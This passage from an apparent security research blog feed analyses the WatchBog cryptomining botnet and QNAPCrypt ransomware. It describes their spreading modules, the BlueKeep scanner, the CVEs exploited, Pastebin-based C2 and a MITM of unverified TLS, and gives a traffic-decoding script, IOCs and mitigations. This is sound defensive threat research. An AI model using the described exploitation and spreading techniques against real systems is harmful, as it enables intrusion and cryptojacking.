&lt;a href="#summary" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;In July, we identified and temporarily seized 15 active QNAPCrypt ransomware
campaigns targeting Linux-based file storage systems (NAS servers). This
discovery was significant in that it&amp;rsquo;s rare to see ransomware being used to
target the Linux-operating system.&lt;/p&gt;
&lt;p&gt;While we prevented the malware from infecting additional victims, we have since
hunted for and detected a new ransomware that shares many similarities with the
previous QNAPCrypt samples. We can assess with high confidence that FullofDeep,
a new Russian cybercrime group specializing in ransomware operations, is behind
both the original QNAPCrypt campaigns and the newly identified ransomware
instance.&lt;/p&gt;
&lt;p&gt;In addition, both the original and new QNAPCrypt samples are indexed in Intezer
Analyze&amp;rsquo;s code genome database. If you have a suspicious file that you suspect
to be QNAPCrypt, you can upload it to the free
&lt;a href="https://analyze.intezer.com/?utm_campaign=research-blog&amp;amp;utm_content=russian-cybercrime-group-fullofdeep-behind-qnapcrypt-ransomware-campaigns&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com#/"target="_blank" rel="noopener"&gt;Intezer Analyze community edition&lt;/a&gt; in order to
view the verdict, code and string reuse, and more.&lt;/p&gt;
&lt;p&gt;Please refer to the &lt;strong&gt;mitigation recommendations&lt;/strong&gt; section in our blog post
titled,
&lt;a href="https://intezer.com/blog-why-we-should-be-paying-more-attention-to-linux-threats/?utm_campaign=research-blog&amp;amp;utm_content=russian-cybercrime-group-fullofdeep-behind-qnapcrypt-ransomware-campaigns&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;Why we Should be Paying More Attention to Linux Threats&lt;/a&gt;,
for best practices Linux users can adopt in order to mitigate the threats posed
by QNAPCrypt and other Linux-based threats.&lt;/p&gt;
&lt;h2&gt;IOCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;50470f94e7d65b50bf00d7416a9634d9e4141c5109a78f5769e4204906ab5f0b
fullofdeep@protonmail.com&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Watching the WatchBog: New BlueKeep Scanner and Linux Exploits</title><link>https://research.intezer.com/blog/2019/07/watching-the-watchbog-new-bluekeep-scanner-and-linux-exploits/</link><pubDate>Wed, 24 Jul 2019 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2019/07/watching-the-watchbog-new-bluekeep-scanner-and-linux-exploits/</guid><description>
&lt;ul&gt;
&lt;li&gt;We have discovered a new version of &lt;strong&gt;WatchBog&lt;/strong&gt;—a cryptocurrency-mining
botnet operational since late 2018—that we suspect has compromised more than
4,500 Linux machines in newer campaigns taking place since early June.&lt;/li&gt;
&lt;li&gt;Among the new Linux exploits, this version of WatchBog implements a BlueKeep
RDP protocol
&lt;a href="../../../2019/05/hiddenwasp-malware-targeting-linux-systems/"&gt;vulnerability scanner&lt;/a&gt;
module, which suggests that WatchBog is preparing a list of vulnerable
systems to target in the future or to sell to third party vendors for profit.&lt;/li&gt;
&lt;li&gt;The malware is currently undetected by all security vendors.&lt;/li&gt;
&lt;li&gt;In this blog post we provide prevention and response recommendations for
Windows and Linux users, in addition to a YARA signature for detecting this
and future threats that share the same malicious code.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Intro to WatchBog Cryptomining Malware&lt;span class="hx:absolute hx:-mt-20" id="intro-to-watchbog-cryptomining-malware"&gt;&lt;/span&gt;
&lt;a href="#intro-to-watchbog-cryptomining-malware" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;WatchBog is a cryptocurrency-mining botnet that was spotted as early as
November 2018. The group is known to be exploiting known vulnerabilities to
compromise Linux servers. The group was
&lt;a href="https://www.alibabacloud.com/blog/return-of-watchbog-exploiting-jenkins-cve-2018-1000861_594798"target="_blank" rel="noopener"&gt;documented&lt;/a&gt;
in the past by the Alibaba Cloud Security department.&lt;/p&gt;
&lt;p&gt;Since the last publication regarding this group, it has upgraded its implants
by implementing a new spreading module in order to improve the coverage of
vulnerable servers. We have detected a new version of WatchBog, which
incorporates recently published exploits—among them being Jira&amp;rsquo;s
CVE-2019-11581 (added 12 days after the release of the exploit), Exim&amp;rsquo;s
CVE-2019-10149, and Solr&amp;rsquo;s CVE-2019-0192.&lt;/p&gt;
&lt;p&gt;We also found that this spreader module incorporated a BlueKeep scanner.&lt;/p&gt;
&lt;p&gt;BlueKeep, also known as
&lt;a href="https://en.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures_%28identifier%29"target="_blank" rel="noopener"&gt;CVE&lt;/a&gt;-&lt;a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-0708"target="_blank" rel="noopener"&gt;2019-0708&lt;/a&gt;,
is a Windows-based kernel vulnerability, which allows an attacker to gain RCE
over a vulnerable system. The vulnerability is present in unpatched Windows
versions ranging from Windows 2000 to Windows Server 2008 and Windows 7. There
is no known public PoC available for achieving RCE with this vulnerability, and
no attack has been spotted in the wild yet. The incorporation of this scanner
module suggests that WatchBog is preparing a list of vulnerable systems for
future developments with regards to BlueKeep.&lt;/p&gt;
&lt;p&gt;The Jira, Solr and BlueKeep scanner modules were all added in the time frame of
13 days. WatchBog seems to be accelerating the incorporation of new
functionalities as of late.&lt;/p&gt;
&lt;p&gt;The spreader binary is currently undetected by security vendors:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/watching-the-watchbog-new-bluekeep-scanner-and-linux-exploits/images/fig1.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;a href="https://www.virustotal.com/gui/file/b17829d758e8689143456240ebd79b420f963722707246f5dc9b085a411f7b5e/detection"target="_blank" rel="noopener"&gt;VirusTotal&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;After uploading this file to Intezer Analyze we can immediately see that it
shares code with WatchBog, before even beginning to reverse engineer the file:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/watching-the-watchbog-new-bluekeep-scanner-and-linux-exploits/images/fig2.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;a href="https://analyze.intezer.com/?utm_campaign=research-blog&amp;amp;utm_content=watching-the-watchbog-new-bluekeep-scanner-and-linux-exploits&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com#/files/b17829d758e8689143456240ebd79b420f963722707246f5dc9b085a411f7b5e"target="_blank" rel="noopener"&gt;Intezer Analyze analysis&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;While investigating this new spreader module, we discovered a flaw with its
design that allowed us to stage a &amp;lsquo;man-in-the-middle&amp;rsquo; attack, to help us
analyze the binary. We provide an analysis of this module in the technical
analysis below.&lt;/p&gt;
&lt;h2&gt;Technical Analysis of WatchBog&lt;span class="hx:absolute hx:-mt-20" id="technical-analysis-of-watchbog"&gt;&lt;/span&gt;
&lt;a href="#technical-analysis-of-watchbog" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The WatchBog threat actor group runs an initial deployment script when
infecting a target. This script sets up persistence via crontab and downloads
further Monero miner modules from Pastebin, as has been previously documented
by Alibaba Cloud.&lt;/p&gt;
&lt;p&gt;The interesting addition to this script is the following part in the end of the
script:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/watching-the-watchbog-new-bluekeep-scanner-and-linux-exploits/images/fig3.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;As per the WatchBog&amp;rsquo;s script&amp;rsquo;s typical way of operating, the script downloads
another base64-encoded payload from &lt;em&gt;Pastebin&lt;/em&gt;, which further downloads another
module and then executes it:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/watching-the-watchbog-new-bluekeep-scanner-and-linux-exploits/images/fig4.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;However, this is not another miner module. Rather, it is the new spreader
module.&lt;/p&gt;
&lt;p&gt;From a quick view this is a plain dynamically linked ELF executable. However,
once we started analyzing the executable, we were surprised to see that this
was actually a Cython-compiled executable requiring us to expand our analysis
efforts.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/07/watching-the-watchbog-new-bluekeep-scanner-and-linux-exploits/images/fig5.png" title="Cython-compiled binary" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Cython-compiled binary&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;As stated by
&lt;a href="https://medium.com/@xpl/protecting-python-sources-using-cython-dcd940bb188e"target="_blank" rel="noopener"&gt;this Medium article&lt;/a&gt;
about Cython:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Meet &lt;strong&gt;&lt;a href="http://cython.org/?source=post_page---------------------------"target="_blank" rel="noopener"&gt;Cython&lt;/a&gt;&lt;/strong&gt;,
an &lt;strong&gt;optimizing static compiler&lt;/strong&gt; that takes your .py modules and translates
them to high-performant C files. Resulting C files can be compiled into
native binary libraries with no effort. When the compilation is done there&amp;rsquo;s
no way to reverse compiled libraries back to readable Python source code!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The compiled binary does, however, include some hints to the original Python
module:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/watching-the-watchbog-new-bluekeep-scanner-and-linux-exploits/images/fig6.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h3&gt;Initialization&lt;span class="hx:absolute hx:-mt-20" id="initialization"&gt;&lt;/span&gt;
&lt;a href="#initialization" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Initially, the binary creates a file at &lt;code&gt;/tmp/.gooobb&lt;/code&gt; in which it writes its
pid as a footprint of the malware execution. Consequent attempts to launch the
spreader will fail while this file exists.&lt;/p&gt;
&lt;p&gt;The binary then retrieves its C2 servers from Pastebin:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/watching-the-watchbog-new-bluekeep-scanner-and-linux-exploits/images/fig7.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;An &lt;code&gt;.onion&lt;/code&gt; C2 server address is also hardcoded in the binary and is used as a
fallback.&lt;/p&gt;
&lt;p&gt;We can estimate the number of victims infected based on the number of visits to
the Pastebin links:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/watching-the-watchbog-new-bluekeep-scanner-and-linux-exploits/images/fig8.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/watching-the-watchbog-new-bluekeep-scanner-and-linux-exploits/images/fig9.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/watching-the-watchbog-new-bluekeep-scanner-and-linux-exploits/images/fig10.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;As seen above, we suspect around 4,500 endpoints were infected with the use of
these specific Pastebin links. As WatchBog is known to have been active before
June 5—which is the upload date of these Pastebins—we believe additional
machines may have been infected with the use of older Pastebin links.&lt;/p&gt;
&lt;p&gt;The binary first attempts to connect to one of the available static C2 servers.&lt;/p&gt;
&lt;p&gt;We observed that the onion C2 server had an expired certificate.&lt;/p&gt;
&lt;p&gt;Normally, HTTPS clients check the validation of the SSL certificate that they
are interacting with. However, this was not the case with WatchBog&amp;rsquo;s implants.
This led us to assume that the WatchBog client did not verify the certificate
when using HTTPS, otherwise it would reject it and refuse to communicate with
the C2.&lt;/p&gt;
&lt;p&gt;This flaw allowed us to setup a transparent HTTPS proxy with our own
certificate and stage a &amp;lsquo;man-in-the-middle&amp;rsquo; attack to analyze WatchBog SSL/TLS
traffic:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/watching-the-watchbog-new-bluekeep-scanner-and-linux-exploits/images/fig11.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The binary then generates a unique key for the infected victim and sends an
initial message to the C2 under this key. The following images include a sample
request and response payloads from the SSL/TLS decrypted traffic:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/watching-the-watchbog-new-bluekeep-scanner-and-linux-exploits/images/fig12.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;These packets were encoded to obfuscate its content. During the analysis, we
were able to determine the encoding algorithm used. The following script
decodes the payload:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;final&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;arr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;input&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;stri&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;begin 666 n&lt;/span&gt;&lt;span class="si"&gt;{0}&lt;/span&gt;&lt;span class="s2"&gt;n nendn&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;uu&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;x00&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;hex&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;base64&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;final&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="nb"&gt;chr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stri&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;final&lt;/span&gt;&lt;span class="p"&gt;[::&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The initial message contains the compromised system information:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/watching-the-watchbog-new-bluekeep-scanner-and-linux-exploits/images/fig13.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;This information will be merged and hashed to build the route of WatchBog&amp;rsquo;s API
hosted in its CNCs. The server replies with a &amp;ldquo;task&amp;rdquo; for the bot to perform on
a list of targets:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/watching-the-watchbog-new-bluekeep-scanner-and-linux-exploits/images/fig14.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h3&gt;BlueKeep Scanner&lt;span class="hx:absolute hx:-mt-20" id="bluekeep-scanner"&gt;&lt;/span&gt;
&lt;a href="#bluekeep-scanner" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;In this newer version of WatchBog it seems that the group has integrated an RDP
scanner in order to find vulnerable Windows machines to the
&lt;a href="https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708"target="_blank" rel="noopener"&gt;BlueKeep&lt;/a&gt;
vulnerability. This scanner is a Python port from zerosum0x0&amp;rsquo;s scanner hosted
in &lt;a href="https://github.com/zerosum0x0/CVE-2019-0708"target="_blank" rel="noopener"&gt;Github&lt;/a&gt;. We can make this
assessment based on function name similarities:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/watching-the-watchbog-new-bluekeep-scanner-and-linux-exploits/images/fig15.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The scanner will then attempt to find vulnerable RDP servers from the IP list
provided by the CNC:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/07/watching-the-watchbog-new-bluekeep-scanner-and-linux-exploits/images/fig16.png" title="WatchBog scanning RDP ports" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;WatchBog scanning RDP ports&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The default Windows service port for RDP is TCP 3389, and can easily be
identified in the packets with &lt;code&gt;Cookie: mstshash=&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/watching-the-watchbog-new-bluekeep-scanner-and-linux-exploits/images/fig17.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;We can observe the use of the string &lt;code&gt;watchbog&lt;/code&gt; as the username of the RDP
&lt;code&gt;mstshash&lt;/code&gt; field.&lt;/p&gt;
&lt;p&gt;Among some of the IP lists we found being supplied for RDP scanning, we spotted
that some of the IP addresses belonged to
&lt;a href="https://db-ip.com/all/120.19.72"target="_blank" rel="noopener"&gt;Vodafone Australia&lt;/a&gt; and
&lt;a href="https://db-ip.com/all/139.155.109"target="_blank" rel="noopener"&gt;Tencent Computer Systems&lt;/a&gt; infrastructure.&lt;/p&gt;
&lt;p&gt;After the scanning stage, the WatchBog client returns an RC4 encrypted list of
vulnerable IP addresses encoded as a hexadecimal string:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/07/watching-the-watchbog-new-bluekeep-scanner-and-linux-exploits/images/fig18.png" title="Encrypted scanned IP addresses" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Encrypted scanned IP addresses&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The threat actors behind WatchBog may be gathering a list of vulnerable
BlueKeep Windows endpoints for future use, or perhaps to sell to a third party
to make a profit.&lt;/p&gt;
&lt;h3&gt;Spreading&lt;span class="hx:absolute hx:-mt-20" id="spreading"&gt;&lt;/span&gt;
&lt;a href="#spreading" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The WatchBog client includes five exploits for the following CVEs:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.tenable.com/blog/cve-2019-11581-critical-template-injection-vulnerability-in-atlassian-jira-server-and-data"target="_blank" rel="noopener"&gt;CVE-2019-11581&lt;/a&gt;
(Jira)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.tenable.com/blog/cve-2019-10149-critical-remote-command-execution-vulnerability-discovered-in-exim"target="_blank" rel="noopener"&gt;CVE-2019-10149&lt;/a&gt;
(Exim)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.tenable.com/cve/CVE-2019-0192"target="_blank" rel="noopener"&gt;CVE-2019-0192&lt;/a&gt; (Solr)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.tenable.com/cve/CVE-2018-1000861"target="_blank" rel="noopener"&gt;CVE-2018-1000861&lt;/a&gt; (Jenkins)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.trendmicro.com/trendlabs-security-intelligence/cve-2019-7238-insufficient-access-controls-in-sonatype-nexus-repository-manager-3-allows-remote-code-execution/"target="_blank" rel="noopener"&gt;CVE-2019-7238&lt;/a&gt;
(Nexus Repository Manager 3)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/07/watching-the-watchbog-new-bluekeep-scanner-and-linux-exploits/images/fig19.png" title="Available pwn modules" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Available pwn modules&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Furthermore, two modules for bruteforcing CouchDB and Redis instances exist
together along with code to achieve RCE.&lt;/p&gt;
&lt;p&gt;All of the exploited &amp;ldquo;pwn&amp;rdquo; modules allow an attacker to achieve remote code
execution.&lt;/p&gt;
&lt;p&gt;Once a vulnerable service is discovered to which exists an exploit module, the
binary spreads itself by invoking the right exploit and installing a malicious
bash script hosted on Pastebin.&lt;/p&gt;
&lt;p&gt;We were able to find an early test version of the spreader module uploaded to
&lt;a href="https://www.hybrid-analysis.com/sample/cdf11a1fa7e551fe6be1f170ba9dedee80401396adf7e39ccde5df635c1117a9?environmentId=300"target="_blank" rel="noopener"&gt;HybridAnalysis&lt;/a&gt;,
including an exploit to Solr CVE-2019-0192, an exploit to ActiveMQ
CVE-2016-3088, and a module utilizing a technique to gain code execution over
cracked Redis instances:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/07/watching-the-watchbog-new-bluekeep-scanner-and-linux-exploits/images/fig20.png" title="Solr exploit as it appears in the test version." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Solr exploit as it appears in the test version.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;span class="hx:absolute hx:-mt-20" id="conclusion"&gt;&lt;/span&gt;
&lt;a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;We presented our findings regarding the high pace of adaptation that WatchBog
is maintaining by integrating recently published exploits and updating its
implants with more up-to-date offensive technologies.&lt;/p&gt;
&lt;p&gt;It is important to highlight that Python malware can become harder to analyze
if it is deployed natively with engines such as Cython. That is in contrast to
other Python native frameworks such as pyinstaller, where Python code can not
be recovered.&lt;/p&gt;
&lt;p&gt;The incorporation of the BlueKeep scanner by a Linux botnet may indicate
WatchBog is beginning to explore financial opportunities on a different
platform. Currently, no known public RCE BlueKeep PoCs exist and it will be
interesting to monitor this group once a PoC is published.&lt;/p&gt;
&lt;h2&gt;Prevention and Response&lt;span class="hx:absolute hx:-mt-20" id="prevention-and-response"&gt;&lt;/span&gt;
&lt;a href="#prevention-and-response" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;We recommend to update your relevant software to its latest version:
&lt;ul&gt;
&lt;li&gt;We suggest Windows users refer to Microsoft&amp;rsquo;s
&lt;a href="https://support.microsoft.com/en-us/help/4500705/customer-guidance-for-cve-2019-0708"target="_blank" rel="noopener"&gt;customer guidance&lt;/a&gt;
in order to mitigate the BlueKeep vulnerability.&lt;/li&gt;
&lt;li&gt;We suggest Linux users, who use Exim, Jira, Solr, Jenkins or Nexus
Repository Manager 3, to update to the latest versions.&lt;/li&gt;
&lt;li&gt;We suggest Linux users, who use Redis or CouchDB, to ensure that there are
no open ports that are exposed outside of trusted networks.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;We recommend Linux users who suspect that they are infected with WatchBog to
check for the existence of the &lt;code&gt;/tmp/.tmplassstgggzzzqpppppp12233333&lt;/code&gt; file or
the &lt;code&gt;/tmp/.gooobb&lt;/code&gt; file.&lt;/li&gt;
&lt;li&gt;We have also created a custom
&lt;a href="https://github.com/intezer/yara-rules/blob/master/WatchBog.yar"target="_blank" rel="noopener"&gt;YARA rule&lt;/a&gt;
based on WatchBog&amp;rsquo;s malicious code for detecting this threat.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Genetic Analysis&lt;span class="hx:absolute hx:-mt-20" id="genetic-analysis"&gt;&lt;/span&gt;
&lt;a href="#genetic-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;WatchBog is indexed in Intezer&amp;rsquo;s genetic database. If you have a suspicious
file that you suspect to be WatchBog, you can upload it to Intezer Analyze in
order to detect code reuse to this malware family. You are welcome to
&lt;a href="https://analyze.intezer.com/?utm_campaign=research-blog&amp;amp;utm_content=watching-the-watchbog-new-bluekeep-scanner-and-linux-exploits&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com#/"target="_blank" rel="noopener"&gt;try it in our free community edition&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/watching-the-watchbog-new-bluekeep-scanner-and-linux-exploits/images/fig21.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h2&gt;IOCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;b17829d758e8689143456240ebd79b420f963722707246f5dc9b085a411f7b5e
